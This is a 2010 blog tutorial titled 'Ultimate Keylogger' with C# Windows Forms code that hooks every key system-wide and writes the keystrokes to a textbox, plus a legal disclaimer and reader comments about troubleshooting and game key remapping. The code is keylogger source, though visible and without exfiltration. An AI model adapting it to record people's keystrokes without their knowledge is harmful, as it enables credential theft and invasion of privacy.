Wednesday, October 27, 2010

Ultimate Keylogger - Global KeyBoard Hook [C# Tutorial]

!!! --> First download my GlobalKeyboardHook <-- !!!

Here's how to use it

GlobalKeyboardHook gHook; 
private void Form1_Load(object sender, EventArgs e)
{
   gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
   // Declare a KeyDown Event
   gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
   // Add the keys you want to hook to the HookedKeys list
   foreach (Keys key in Enum.GetValues(typeof(Keys)))
       gHook.HookedKeys.Add(key);
}

// Handle the KeyDown Event
public void gHook_KeyDown(object sender, KeyEventArgs e)
{
   textBox1.Text += ((char)e.KeyValue).ToString();
}

private void button1_Click(object sender, EventArgs e)
{
   gHook.hook();
}

private void button2_Click(object sender, EventArgs e)
{
   gHook.unhook();
}

private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
   gHook.unhook();
}
Using this keylogger to log/record other people's keystrokes without their knowledge can be considered as an illegal activity! It is the final user's responsibility to obey all applicable local,state,and federal laws! This tutorial is intended for educational purpose only! I assume NO liability and I'm NOT responsible for any misuse or damage caused by this keylogger!

18 comments:

  1. I had been arguing with my close friend on this issue for quite a while, base on your ideas prove that I am right, let me show him your webpage then I am sure it must make him buy me a drink, lol, thanks.

    - Lora

    ReplyDelete
  2. hi, I'm planning to make my OWN WARKEY, this is application used to warcraft specifically to dota. it is just replacing the NUM7 by clicking other keys, for example; combination of ALT and Q.

    So could you please help me to make an application that tells my computer that I'm pressing NUM7 even though I'm pressing ALT+Q. That is while playing WARCRAFT.

    Thanks a lot...

    ReplyDelete
  3. Why do these hooks disappear when you enter a game like Warcraft?

    ReplyDelete
  4. arrgg .... I'm getting no where ... been struggling with this for over 19 hours now .... and still nothing ....

    ReplyDelete
  5. I FIGURED IT OUT !!!!!!!!!!!!!! FINALLY !!!!!!
    Lol, I feel like an IDIOT !!!!
    I didn't run VS as Administrator ... In windows 7 YOU HAVE TO ! ^_^"
    This also helped a LOT: http://lmgtfy.com/?q=Gma.UserActivityMonitor

    ReplyDelete
  6. ty bonkers, was kinda "struggling" with the same ;)

    ReplyDelete
  7. How do I detect a Modifier Key?
    I am building an app that stacks the current clipboard, in order to do that, I need to test if the Ctrl and the C key were pressed.
    if (e.Control && e.KeyCode == Keys.C)
    Is not working, because e.Control is always returning false. Any advice?
    Thanks!

    ReplyDelete
  8. nice post sir
    but if u add commnet and describtion about each
    then its great helpful for us

    ReplyDelete
  9. A very easy to understand step-by-step tutorial to create keylogger in visual studio (c#) find here
    http://csharpdemos.blogspot.in/2012/09/how-to-create-keylogger-using-c.html

    ReplyDelete
  10. Funny how many programing noobs comment here asking for the simplest stuff.
    Don't know a shit but wanna make the #1 super virus.

    ReplyDelete
  11. Is not working, code is exact, GlobalKeyBoardHook.cs is applied. written in C# and nothing is happening. What am I doing wrong?

    ReplyDelete
  12. Attempted to read or write protected memory. This is often an indication that other memory is corrupt.

    ReplyDelete
  13. Can you help me about : Object reference not set to an instance of an object
    :gHook.hook();// Line Erro. Thank

    ReplyDelete